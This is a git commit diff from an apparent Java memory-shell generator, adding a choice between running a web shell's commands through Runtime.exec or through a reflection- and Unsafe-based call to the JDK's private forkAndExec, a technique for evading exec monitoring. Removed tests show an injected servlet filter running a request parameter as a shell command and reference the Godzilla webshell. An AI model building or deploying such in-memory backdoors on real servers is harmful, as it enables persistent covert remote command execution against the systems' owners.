feat: support custom command implementation

This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent 88732d9a81
commit 34198a5c90
25 changed files with 291 additions and 1145 deletions
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default
private Encryptor encryptor = Encryptor.RAW;
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
public static ImplementationClass fromString(String encryptor) {
if (encryptor != null && encryptor.equals("ForkAndExec")) {
return ForkAndExec;
}
return RuntimeExec;
}
}
public enum Encryptor {
RAW, DOUBLE_BASE64;
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;
import java.util.Collections;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -68,6 +68,12 @@ public class CommandGenerator {
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
}
return builder;
}
@@ -0,0 +1,107 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import sun.misc.Unsafe;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class ForkAndExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
try {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
} catch (Throwable e) {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class RuntimeExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
@@ -1,173 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.objectweb.asm.*;
import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2025/3/30
*/
@ExtendWith(MockitoExtension.class)
public class CommandFilterChainASMTest {
@Mock
HttpServletRequest mockRequest;
@Mock
HttpServletResponse mockResponse;
Object instance;
@SuppressWarnings("all")
public static class CustomMethodVisitor extends MethodVisitor {
private final Type customEqualsType;
private final Type[] argumentTypes;
private final String className;
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
Command.paramName = "paramName";
className = Command.class.getName();
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@BeforeEach
@SneakyThrows
void setUp() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
Type[] argTypes = Type.getArgumentTypes(descriptor);
return new CustomMethodVisitor(mv, argTypes);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
Class<?> clazz = ClassUtils.defineClass(bytes2);
instance = spy(clazz.newInstance());
}
@Test
@SneakyThrows
void testInvokeParam() {
when(mockRequest.getParameter("paramName")).thenReturn("id");
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
String output = capturedOutput.toString(StandardCharsets.UTF_8);
assertTrue(output.contains("uid="));
verify(((FilterChainInterface) instance), never()).doFilterInternal();
}
@Test
@SneakyThrows
void testNotParameter() {
when(mockRequest.getParameter("paramName")).thenReturn(null);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
}
}
@@ -1,73 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.*;
import org.objectweb.asm.commons.AdviceAdapter;
import org.objectweb.asm.commons.Method;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandNormalASMTest {
@Test
@SneakyThrows
void test() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
}
static class Hello {
@Override
public boolean equals(Object obj) {
System.out.println("hello world");
return true;
}
}
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
private final Type customEqualsType;
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
super(Opcodes.ASM9, mv, access, name, descriptor);
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
}
@Override
protected void onMethodEnter() {
loadArgArray();
newInstance(customEqualsType);
dup();
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
swap();
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
Label skipReturnLabel = new Label();
mv.visitJumpInsn(IFEQ, skipReturnLabel);
mv.visitInsn(RETURN);
mark(skipReturnLabel);
}
}
}